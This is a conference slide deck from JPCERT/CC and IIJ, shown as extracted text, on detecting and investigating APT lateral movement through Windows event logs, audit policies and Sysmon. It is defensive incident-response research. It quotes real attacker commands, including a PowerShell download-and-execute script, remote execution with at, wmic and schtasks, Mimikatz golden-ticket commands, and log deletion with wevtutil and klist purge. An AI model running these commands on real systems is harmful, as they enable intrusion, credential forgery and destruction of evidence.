Pursue the Attackers- Identify and Investigate Lateral
Movement Based on Behavior Pattern -Shusei Tomonaga (JPCERT/CC)
Keisuke Muda (Internet Initiative Japan Inc.)Self-introduction

Shusei Tomonaga
Analysis Center at JPCERT/CC
Malware analysis, Forensics investigation.
Written up posts on malware analysis andtechnical findings on this blog and Github.
—http://blog.jpcert.or.jp/—https://github.com/JPCERTCC/aa-tools
1

Copyright ©2017 JPCERT/CC All rights reserved.

Self-introduction

Keisuke Muda
Internet Initiative Japan Inc. (IIJ)
Analyst, Security Operation Center,
Security Business Department,
Advanced Security Division
As a member of IIJ SOC, primarily working on:—Analysis of logs sent from customers’ networks—Research/Analysis of software vulnerabilities—Enhancement of IIJ SOC service and the service
infrastructure2

Copyright ©2017 JPCERT/CC All rights reserved.

Challenge of Incident Response• Many hosts need to be investigatedfor APT Incident Response• Logs required for investigation are notalways recorded• Difficult to detect Lateral Movement
3

Copyright ©2017 JPCERT/CC All rights reserved.

ApproachIf you know what logs are recorded with the lateral
movement tools, IR will be easier.
For lateral movement, a limited set of tools areused in many different incidents.

There are some common patterns in the lateral
movement methods.
4

Copyright ©2017 JPCERT/CC All rights reserved.

This Presentation Topics

１
２

Overview of APT Incident andLateral Movement
Tools Used by Attackers for
Lateral Movement

３ Tracing Attacks
４
5

Analysis of Tools Used by
Attackers

Copyright ©2017 JPCERT/CC All rights reserved.

１
２

Overview of APT Incident andLateral Movement
Tools Used by Attackers for
Lateral Movement

３ Tracing Attacks
４
6

Analysis of Tools Used by
Attackers

Copyright ©2017 JPCERT/CC All rights reserved.

Overview of APT Incident and Lateral Movement

1. Infection

5. Sending stolen data

2. Initialinvestigation

Target Network
3. Internal reconnaissance
4. Spread of infection

6. Delete evidence
7

Copyright ©2017 JPCERT/CC All rights reserved.

AD/
File Server

１２Overview of APT Incident andLateral Movement
Tools Used by Attackers for
Lateral Movement

３ Tracing Attacks
４
8

Analysis of Tools Used by
Attackers

Copyright ©2017 JPCERT/CC All rights reserved.

Tools Used by Attackers at Lateral Movement

Attackers use not only attack tools
but also Windows commands and legitimate tools.
Why attackers use Windows commands andlegitimate tools?

They are not detected by antivirus software.
9

Copyright ©2017 JPCERT/CC All rights reserved.

Research of Tools Used by Attackers

Research Methods
Investigating C&C servers and malware connections
in five operations.
APT10 (named by FireEye)
APT17 (named by FireEye)
Dragon OK (named by Palo Alto)Blue Termite (named by Kaspersky)
Tick (named by Symantec)
10

Copyright ©2017 JPCERT/CC All rights reserved.

Research Overview

C&C servers
GstatusAccess Database11

Copyright ©2017 JPCERT/CC All rights reserved.

Research Overview

C&C servers
Emdivi
SQLiteDatabase

Executed commands

12

Copyright ©2017 JPCERT/CC All rights reserved.

Research Overview

Malware connection
Type

RC4 key

Daserf(Delphi) LZNT1 + RC4 + Custom Base64

Constant

DATPER(old)

LZNT1 + RC4 + Custom Base64

Constant

DATPER(new)lzrw1kh + xor + RC4 + Custom
Base64xxmm

13

EncodeLZNT1 + RC4 + Custom Base64

Copyright ©2017 JPCERT/CC All rights reserved.

(Depends on the malware)(Depends on the malware)Constant(Depends on the malware)

Fixed(“1234”)or
one-time key

Research Overview

Data Set

Total commandexecution: 16,866

14

Copyright ©2017 JPCERT/CC All rights reserved.

Total number of
infected host: 645

Research Overview

Data Set

Total commandexecution: 16,866

Total number of
infected host: 645

Total Windows command execution: 14,268
15

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movement: Initial Investigation

Initial investigation• Collect information of the infected host
The most used command is tasklist.
If the infected host was a virtual machine foranalysis, the attacker will escape soon.

16

Copyright ©2017 JPCERT/CC All rights reserved.

Windows Command Used by Initial Investigation
Rank
1
2
3
4
5
6
7
8
9
10
11
12
17

Copyright ©2017 JPCERT/CC All rights reserved.

Commandtasklistver
ipconfig
net time
systeminfo
netstatwhoaminbtstatnet start
set
qprocess
nslookup

Count
327
182
145
133
75
42
37
36
35
29
27
11

Lateral Movement: Internal ReconnaissanceInternal Reconnaissance• Look for information saved in the compromised
machine and information on the network

The most used command is dir.
—The attacker look around confidential datastored in the infected host.
For searching the local network, net is used.
18

Copyright ©2017 JPCERT/CC All rights reserved.

Windows Command Used for Internal Reconnaissance
Rank
1
2
3
4
5
6
7
8
9
10
11
12
19

Copyright ©2017 JPCERT/CC All rights reserved.

Commanddirping
net view
type
net useecho
net usernet group
net localgroupdsquery
net config
csvde

Count
4466
2372
590
543
541
496
442
172
85
81
32
21

net Command
net view— Obtain a list of connectable domain resources
net user— Manage local/domain accounts
net localgroup— Obtain a list of users belonging to local groups
net group— Obtain a list of users belonging to certain domain groups
net use— Access to resources
20

Copyright ©2017 JPCERT/CC All rights reserved.

Why ping command is often executed?

Searching network hosts using ping
> echo @echo off >ee.bat> echo for /l %%i in (1,1,255) do ping -n 1
10.0.0.%%i ^|find "TTL=" ^>^>rr.txt >>ee.bat> type ee.bat> ee.bat21

Copyright ©2017 JPCERT/CC All rights reserved.

Why echo command is executed?

Create script file using the echo command> echo $p = New-Object System.Net.WebClient >xz.ps1> echo $p.DownloadFile("http://xxxxxxxxxx.com/wp/0122.
dat","c:¥intel¥logs¥0122.exe") >>xz.ps1> type xz.ps1> powershell -ExecutionPolicy ByPass -File C:¥intel¥logs¥
xz.ps122

Copyright ©2017 JPCERT/CC All rights reserved.

Windows Command Used for Internal Reconnaissance
Rank
13
14
15
16
17
18
19
20
21
22
23
24
23

Copyright ©2017 JPCERT/CC All rights reserved.

Command
net sharequser
net session
query
tracertcscript
nltestdumpeltree
LogParser
net accounts
route

Count
19
18
17
12
9
9
5
5
3
2
2
1

Search Logon Event logs

dumpel command> dumpel.exe -f ac1.dat -l security -s ¥¥10.0.0.1 -d 10

LogParser command> LogParser ""Select *From V:¥Server¥Security.evtx
Where EventID=4624 AND TimeGenerated < '2017-04-28
23:59:59' AND TimeGenerated > '2017-04-28 00:00:00'""-i:evt -o:csv > V:¥Server¥Security.csv"
24

Copyright ©2017 JPCERT/CC All rights reserved.

Search Logon Event logs

LogParser command 2> LogParser -i:evt -o:csv ¥select strings,timegenerated
from security where eventid=4624 and strings like ‘%min%'and strings like '%winlogon.exe%' and (timegenerated
between TO_TIMESTAMP(‘2017-10-01’, 'yyyy-MM-dd’) and
TO_TIMESTAMP(‘2017-10-06', 'yyyy-MM-dd'))¥ >c:¥windows¥temp¥log.csv

25

Copyright ©2017 JPCERT/CC All rights reserved.

Search Logon Event logs

cscript command> cscript eventquery.vbs /s 10.0.1.11 /l application /fi "id eq
22 "eventquery.vbs—Lists the events and event properties from one ormore event logs.
—Installed by default on Windows XP, Windows Server
2003. (Does not function on Windows 7 and later)
26

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movement: Spread of Infection

Spread of infection• Infect the machine with other malware or
try to access other hosts
The most used command is at.
—“at” command is not supported on Windows 10,
Windows 8.1 etc.
—If "at" doesn't exist, schtasks is used.

Password dump tool is always used.
27

Copyright ©2017 JPCERT/CC All rights reserved.

Windows Command Used for Spread of Infection
Rank
1
2
3
4
5
6
7
8
9
10
11
12
28

Copyright ©2017 JPCERT/CC All rights reserved.

Commandatmoveschtasks
copy
ren
reg
wmic
powershell
md
runas
sc
netsh

Count
445
399
379
299
151
119
40
29
16
7
6
6

Remote Command Execute Used Windows Commandat command> at ¥¥[IP Address] 12:00 cmd /c"C:¥windows¥temp¥mal.exe"
schtasks command> schtasks /create /tn [Task Name] /tr C:¥1.bat /sc
onstart /ru System /s [IP Address]
29

Copyright ©2017 JPCERT/CC All rights reserved.

Remote Command Execute Used Windows Commandwmic command> wmic /node:[IP Address] /user:”[User Name]”/password:”[PASSWORD]” process call create“cmd /c c:¥Windows¥System32¥net.exe user”

30

Copyright ©2017 JPCERT/CC All rights reserved.

Compile the MOF File
The Managed Object Format (MOF) compiler parses a filecontaining MOF statements and adds the classes andclass instances defined in the file to the WMI repository.

mofcomp command> move %temp%¥mseinst.mof ¥¥server¥C$¥WINDOWS¥
system32¥wbem¥svmon.mof> mofcomp -N:root¥default C:¥WINDOWS¥system32¥wbem¥svmon.mof >c:¥mofinst.txt> mofcomp -AUTORECOVER C:¥WINDOWS¥system32¥wbem¥svmon.mof >>c:¥mofinst.txt
31

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movement: Delete Evidence

Delete evidence• Delete files used by the attacker and logs
The most used command is del.
For deleting the event log, wevtutil is used.

32

Copyright ©2017 JPCERT/CC All rights reserved.

Windows Command Used for Delete Evidence
Rank
1
2
3
4
5

33

Copyright ©2017 JPCERT/CC All rights reserved.

Commanddeltaskkill
klist
wevtutil
rd

Count
844
80
73
23
15

wevtutil command

Delete event logs
> wevtutil cl security
Search logon event logs
> wevtutil qe security /f:text /q:""*[System[EventID=4624 or EventID=4769 or EventID=4672 or
EventID=4768]] and *[System[TimeCreated[@
SystemTime>='2017-07-10T00:00:00.000']]]"">c:¥windows¥system32¥log.txt
34

Copyright ©2017 JPCERT/CC All rights reserved.

wevtutil command

Search start-up event logs
> wevtutil qe system /count:20 /rd:true /f:text /q:""Event[System[(EventID=6005)]]"" |find ""Date"" >inf.txt

35

Copyright ©2017 JPCERT/CC All rights reserved.

Delete Evidence of Pass-the-Ticket

An attacker uses Pass-the-ticket when spreading
infection to other hosts—Pass-the-hash is rarely used

Pass-the-ticket—Issues an unauthorized ticket that grants accesswithout additional authentication—Golden ticket
Use TGT (Ticket-Granting Tickets)—Silver ticket
Use ST (Service Ticket)
36

Copyright ©2017 JPCERT/CC All rights reserved.

Delete Evidence of Pass-the-Ticket

klist command> klist purge

37

Copyright ©2017 JPCERT/CC All rights reserved.

Example of Command Execution Flow

Example (Tick)> cd ¥intel¥logs
Initial investigation> whoami> klist> net use
Golden Ticket with Mimikatz> klist purge> IntelGFX.exe "kerberos::golden /user:administrator /domain:[Domain]/sid:[SID] /krbtgt:[RC4 Key] /group:502 /ticket:0422.tck" exit
> IntelGFX.exe "kerberos::ptt 0422.tck" exit
> ping -n 1 10.1.44.16> ping -n 1 10.1.2.16> net use ¥¥10.1.2.16 Internal reconnaissance> dir ¥¥100.1.2.16¥c$¥users
38

Copyright ©2017 JPCERT/CC All rights reserved.

> copy bb.bat ¥¥10.1.2.16¥c$¥windows¥system32¥> net time ¥¥10.1.2.16
Spread of infection> at ¥¥10.1.2.16 12:27 bb.bat> dir ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt> move ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt .
> del ¥¥10.1.2.16¥c$¥windows¥system32¥bb.bat> copy zt.exe ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe> net time ¥¥10.1.2.16> at ¥¥10.1.2.16 12:33 mscfg.exe> dir ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe> del ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt> del ¥¥10.1.2.16¥c$¥windows¥tasks¥at*.job> net use ¥¥10.1.2.16 /del> dirDelete evidence> del zt.exe inf.txt bb.bat> dir> net use
39

Copyright ©2017 JPCERT/CC All rights reserved.

１
２

Overview of APT Incident andLateral Movement
Tools Used by Attackers for
Lateral Movement

３ Tracing Attacks
４40

Analysis of Tools Used by
Attackers

Copyright ©2017 JPCERT/CC All rights reserved.

What Do We Want to Know About the Attacks…?
Hosts

Accounts/Privileges usedTools executed

Files/Intelligences being accessed
Network traffics
Possibility of attackers coming back41

Copyright ©2017 JPCERT/CC All rights reserved.

What Do We Want to Know About the Attacks…?
Hosts

Accounts/Privileges used

Find in Logon History

Tools executed
Find in Execution History

Files/Intelligences being accessed
Network traffics
Possibility of attackers coming backFind in Access and Execution Histories
42

Copyright ©2017 JPCERT/CC All rights reserved.

What Do We Want vs. What Can Be Found
Following records are taken by default on Windows:— Client OS

Successful/Failed Logon
Successful Logoff
Successful Policy Modification ... that’s about it— Server OS

Successful Authentication in addition to the above

Some of the “Logon Histories” could be traced from thedefault logs.
There may not be enough record to prove “Execution
History” and “Access History”.
43

Copyright ©2017 JPCERT/CC All rights reserved.

Preparing For Investigation

Default configuration is not enough.

— Methods to cover the missing pieces are needed.
— There are not so many documents that summarize
methods and significant points for identifying threats.

Some of the entities are not recorded by default,
but it is possible to configure hosts to keep thoserecords.
— We do need to think about which entities we should
cover to track the attacks.

44

Copyright ©2017 JPCERT/CC All rights reserved.

Detecting Lateral Movement through Tracking Event Logs

Tools and commands that were used in actualattacks were analyzed.
—49 different tools that were frequently used inattack behaviors were selected.
Approx. 1/3 were legitimate Windows tools.

—Each of them was tested on a virtual network,and their execution “logs” were recorded.

45

Copyright ©2017 JPCERT/CC All rights reserved.

Detecting Lateral Movement through Tracking Event Logs

Tools and commands that were used in actualattacks were analyzed.
—49 different tools that were frequently used inattack behaviors were selected.
Approx. 1/3 were legitimate Windows tools.

—Each of them was tested on a virtual network,and their execution “logs” were recorded.

In most cases, additional tweaks werenecessary to obtain enough records.
Copyright ©2017 JPCERT/CC All rights reserved.
46

Research Report
Research report isavailable on
JPCERT/CC website.
—

https://www.jpcert.or.jp/english/
pub/sr/ir_research.html— English/JapaneseFirst published in 2016
Updated version 2017
available in Japanese— English version
coming in December

47

Copyright ©2017 JPCERT/CC All rights reserved.

Research Report
The report shows some important aspects for tracing each tool.
Report screenshot in Japanese; English version coming soon.

48

Copyright ©2017 JPCERT/CC All rights reserved.

Elements Researched

Windows Event Logs
—Default and additional logs

Registry
Cache for performance improvements
File System Activities
File/Folder Access Histories
Network Traffic
49

Copyright ©2017 JPCERT/CC All rights reserved.

Research Results

Event Logs were the most useful among theentities.
Audit Policy

50

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonApplication
Logs

Research Results

Event Logs were the most useful among theentities.
Audit Policy

SysmonApplication
Logs

There were some other useful information.
USN
Journals51

Copyright ©2017 JPCERT/CC All rights reserved.

PacketCaptureResearch Results

Event Logs were the most useful among theentities.
Audit Policy

SysmonApplication
Logs

This session
primarily
focuses here.

There were some other useful information.
USN
Journals

Copyright ©2017 JPCERT/CC All rights reserved.

PacketCapture１
２

Overview of APT Incident andLateral Movement
Tools Used by Attackers for
Lateral Movement

３ Tracing Attacks
４53

Analysis of Tools Used by
Attackers

Copyright ©2017 JPCERT/CC All rights reserved.

Analysis of Tools Used by Attackers

Additional settings are needed to record tools
execution.
Additional settings makes difference in amountof evidences that may be obtained.
—Without those additional settings, evidences
obtained from the compromised hosts may not
be enough.
54

Copyright ©2017 JPCERT/CC All rights reserved.

Example: Get-GPPPassword.ps1

Is a PowerShell script published on GitHub.
Obtains plain text passwords stored on Group
Policy settings.
—Passwords can be stored when an update forMS14-025 is not applied.

The following slides assume execution of thePowerShell scripts.
55

Copyright ©2017 JPCERT/CC All rights reserved.

Tracing Execution Histories
An example case of attack procedures.

56

1. Create an Access Path

Install remote access and/or other tools.
(Out of scope of this session)

2. Investigate the Network

Necessary information, such as AD domain names
and domain controller FQDN, are obtained.

3. Permit Script Execution

Permit PowerShell script execution(which is disabled by default).

4. Download the Script

Download the script to execute.

5. Execute the Script

Execute the downloaded script.

6. Remove Evidences

Remove evidences of compromises.

Copyright ©2017 JPCERT/CC All rights reserved.

What Do We Want to Know About the Attacks…?
Hosts

Accounts/Privileges used

Find in Logon History

Tools executed
Find in Execution History

Files/Intelligences being accessed
Network traffics
Possibility of attackers coming backFind in Access and Execution Histories
57

Copyright ©2017 JPCERT/CC All rights reserved.

Looks similar
to an ordinal
Logon
PowerShell
was used insome ways,
but not sure
about whathas
happened

Tracing Execution Histories
An example case of attack procedures.

58

1. Create an Access Path

(Out of scope of this session)

2. Investigate the Network

Investigate compromised accounts andexecuted commands using Audit Policies

3. Permit Script Execution

Trace change on settings from PowerShell
execution and registry modification histories

4. Download the Script

Find script downloads from the network trafficlogs

5. Execute the Script

Trace execution history from PowerShell andcommand execution histories

6. Remove Evidences

Prepare not to lose trace logs even when
attackers remove them from compromised hosts

Copyright ©2017 JPCERT/CC All rights reserved.

Tracing Execution Histories
An example case of attack procedures.

59

1. Create an Access Path

(Out of scope of this session)

2. Investigate the Network

Investigate compromised accounts andexecuted commands using Audit Policies

3. Permit Script Execution

Trace change on settings from PowerShell
execution and registry modification histories

4. Download the Script

Find script downloads from the network trafficlogs

5. Execute the Script

Trace execution history from PowerShell andcommand execution histories

6. Remove Evidences

Prepare not to lose trace logs even when
attackers remove them from compromised hosts

Copyright ©2017 JPCERT/CC All rights reserved.

Audit Policies

Options available on
Windows by default.

— One of the places to getstarted.

With default settings, notmany events are actuallyaudited.
— Resulting in lack ofevidences for tracing
the attacks.

60

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonA software that is a part of Windows Sysinternals.

— https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

The software is publicly available on the webpage above.

61

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonA software that is a part of Windows Sysinternals.

— https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

The software is publicly available on the webpage above.
Information logged are shown below(based on version 6.10, released on May 2017)

62

Process created/terminatedDriver loaded

Read disk using“¥¥.¥” denotation

Registry events

Change of filecreation time

Image loaded

Process
accessed

File stream
eventsNetwork
connection

Thread created inanother process

File creation

Pipe events

Copyright ©2017 JPCERT/CC All rights reserved.

WMI events

Advantages of Log Analysis
If logs are preserved:
Evidences that cannot be recovered afterwards
are recorded.
If there is a case where the tool creates a temporary file:
When searching on the disk...

The file may be removed from thedisk and cannot be recovered.
When running forensics...

“The file was created” in someways, but not sure about exactly
what was in the file63

Copyright ©2017 JPCERT/CC All rights reserved.

From logs...

Applications andcommand lines
used for creating files
may be recovered.

Appropriate Configurations
Not a smart idea

— “We have no idea about which logs we should keep.
Simply just keep every single log”

If “take everything and filter out later” is the policy, it is okay to keep
everything.

By default, old logs are overwritten whena log reaches its maximum size.
— Domain Controller: 128MB— Others: 20MB

Important evidences might get buried without appropriate configurations.

— Logs for several weeks are stored without additional settings, butdoes not contain enough evidences— Logs may be overwritten within few hours with improperly configured
additional settings

64

Copyright ©2017 JPCERT/CC All rights reserved.

Useful Events (“Security” Events)

Events that were “useful”:

65

Logon
4611 4624 4648
4776 4778

Process Executed
4688

Account Management

Logoff
4634 4779

Process Terminated4689

Policy Change
4670 4904 4905
4946 4947

Use of Privileges
4672 4673 4674
4703 4768 4769
4771

Filtering Platform
5156

File Sharing
5140 5142
5144 5145

Copyright ©2017 JPCERT/CC All rights reserved.

4720 4722 4724
4726 4728 4737
4738

Handles4656 4658 4659
4660 4661 4663
4690
VSS
8222

Useful Events (Windows Standard Events)
The following events are recorded by default and were useful:
System7036 7040 7045

Application
102 103 105 216
300 302 2001
2003 2005 2006
Logs Cleared
104

66

Microsoft-Windows-Application-Experience/Program-Telemetry

Microsoft-Windows-Kernel-PnPConfig/Configuration

Microsoft-Windows-Bits-Client/Operational

Microsoft-Windows-PowerShell/Operational

Microsoft-Windows-DeviceSetupManager/AdminMicrosoft-Windows-WinRM/Operational

Microsoft-Windows-Kernel-PnP/Configuration

Microsoft-Windows-Windows-WMI-Activity/Operational

Copyright ©2017 JPCERT/CC All rights reserved.

Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
Microsoft-Windows-TerminalServices-RemoteConnection
Manager/Operational
Microsoft-Windows-TerminalServices-RDPClient/OperationalUseful Events (Sysmon Events)

Events that were “useful”:
Process Created1

Network Connection
3

Use with “Security” audits

Use with “Security” audits

Process Terminated5

Process Accessed108File Creation
Time Changed
2

RawAccessRead
9

Registry Events
12, 13CreateRemoteThread

Use with “Security” audits

67

Copyright ©2017 JPCERT/CC All rights reserved.

Audit Policies and Sysmon (1)Some properties might be common in both logs
—Sysmon logs tend to have more useful details.
—Some properties, such as “Token Elevation
Types” appears only on Audit logs.
Audit

68

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonTracing Execution Histories
An example case of attack procedures.

69

1. Create an Access Path

(Out of scope of this session)

2. Investigate the Network

Investigate compromised accounts andexecuted commands using Audit Policies

3. Permit Script Execution

Trace change on settings from PowerShell
execution and registry modification histories

4. Download the Script

Find script downloads from the network trafficlogs

5. Execute the Script

Trace execution history from PowerShell andcommand execution histories

6. Remove Evidences

Prepare not to lose trace logs even when
attackers remove them from compromised hosts

Copyright ©2017 JPCERT/CC All rights reserved.

Done
Done for
Registry“PowerShell
was used” insome wayPowerShell Logs

By default, execution of PowerShell is logged,
but not sure about what has happened on thePowerShell session.

70

Copyright ©2017 JPCERT/CC All rights reserved.

PowerShell Logs

With group policies, it is possible to configure
Windows to record PowerShell logs on:—Windows 10, and—Previous Windows versions with required
modules installed71

Copyright ©2017 JPCERT/CC All rights reserved.

PowerShell Logs

The entire script will be recorded in Event Logs.
Command histories are saved in a separate file.
ScriptCommand History(%AppData%¥Microsoft¥Windows¥PowerShell¥PSReadline)

72

Copyright ©2017 JPCERT/CC All rights reserved.

Tracing Execution Histories
An example case of attack procedures.

73

1. Create an Access Path

(Out of scope of this session)

2. Investigate the Network

Investigate compromised accounts andexecuted commands using Audit Policies

Done

3. Permit Script Execution

Trace change on settings from PowerShell
execution and registry modification histories

Done

4. Download the Script

Find script downloads from the network trafficlogs

5. Execute the Script

Trace execution history from PowerShell andcommand execution histories

6. Remove Evidences

Prepare not to lose trace logs even when
attackers remove them from compromised hosts

Copyright ©2017 JPCERT/CC All rights reserved.

DoneInvestigating Network Activities
If there are network devices...
— Logs from firewalls, web proxies, IDS/IPS, and so on are useful.

74

Copyright ©2017 JPCERT/CC All rights reserved.

Investigating Network Activities
If there are network devices...
— Logs from firewalls, web proxies, IDS/IPS, and so on are useful.

If there are no network devices that can produce useful logs…
Windows Filtering
Platform(Windows Firewall)

75

Copyright ©2017 JPCERT/CC All rights reserved.

Sysmon Event 3(“Network connection
detected”)

Access to Shared
Folders (Logged on
the Domain Controller)Audit Policies and Sysmon (2)Similar to process audits, network connections are logged in bothaudit and Sysmon logs
Audit

76

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonFile Downloads

History of file downloads may be found on:—PowerShell commands

Invoke-WebRequest,
System.Net.WebClient.DownloadFile, etc…
Can be checked from PowerShell logs

—Files related to web browsers
Download history
Temporary Internet Files

It is possible to check them using Event Logs.
77

Copyright ©2017 JPCERT/CC All rights reserved.

Tracing Execution Histories
An example case of attack procedures.

78

1. Create an Access Path

(Out of scope of this session)

2. Investigate the Network

Investigate compromised accounts andexecuted commands using Audit Policies

Done

3. Permit Script Execution

Trace change on settings from PowerShell
execution and registry modification histories

Done

4. Download the Script

Find script downloads from the network traffic
logs

Done

5. Execute the Script

Trace execution history from PowerShell andcommand execution histories

Done

6. Remove Evidences

Prepare not to lose trace logs even when
attackers remove them from compromised hosts

Copyright ©2017 JPCERT/CC All rights reserved.

Tracking File Deletion

File operations can betraced from the Audit logs.

If the attacker creates a RAR or a ZIP file tocreate a single file to upload obtained files tohis/her site...
—The archive file is created temporarily, and thenremoved from the disk so it would not be found.
79

Copyright ©2017 JPCERT/CC All rights reserved.

Clear Logs

Event Logs may be cleared
easily if the compromised
account has administrative rights.
If logs are logged on a file, simply removing the log
file will clear an evidence.

Need to consider a case wherelogs were cleared by attackers.
80

Copyright ©2017 JPCERT/CC All rights reserved.

To Trace Attacks Even When Logs Were Cleared

Logs remaining on the hosts may be cleared
when an attacker successfully logs onto them.
Real-time log transfer to other hosts help
administrators to trace events even when the logs
were cleared from hosts locally.
—Event subscription—Send using protocols such as Syslog—Back up log files periodically81

Copyright ©2017 JPCERT/CC All rights reserved.

Tracing Execution Histories
An example case of attack procedures.

82

1. Create an Access Path

(Out of scope of this session)

2. Investigate the Network

Investigate compromised accounts andexecuted commands using Audit Policies

Done

3. Permit Script Execution

Trace change on settings from PowerShell
execution and registry modification histories

Done

4. Download the Script

Find script downloads from the network traffic
logs

Done

5. Execute the Script

Trace execution history from PowerShell andcommand execution histories

Done

6. Remove Evidences

Prepare not to lose trace logs even when
attackers remove them from compromised hosts

Done

Copyright ©2017 JPCERT/CC All rights reserved.

“Cons” of the Method

It is necessary to tune up log sizes appropriately.
—Otherwise, the precious evidences may getburied with other “garbage”.

When attackers clear the logs stored on thecompromised hosts, it becomes difficult to trace
attacks.
—It is important to think about gathering logs onother hosts securely.
83

Copyright ©2017 JPCERT/CC All rights reserved.

“Pros” of the Method

Execution histories of tools may be traced.
—They cannot be traced by default settings.
—Some “valuable” logs are recorded by simply
modifying Windows settings and installing thefree software

84

Copyright ©2017 JPCERT/CC All rights reserved.

To Obtain Better Logs

This research primarily used “Windows
standard features + Sysmon”.
Adding other elements would improve analysis.
—Monitoring networks—Monitoring endpoints

85

Copyright ©2017 JPCERT/CC All rights reserved.

etc...

Conclusion

Typically, limited set of tools and commands areused for Lateral Movement.
Many attack tools can be detected with audit
policy and Sysmon.
Our report would be helpful if you areinvestigating APT incidents.
86

Copyright ©2017 JPCERT/CC All rights reserved.

Thank you
Q&A
https://www.jpcert.or.jp/english/pub/sr/ir_research.html

87

Copyright ©2017 JPCERT/CC All rights reserved.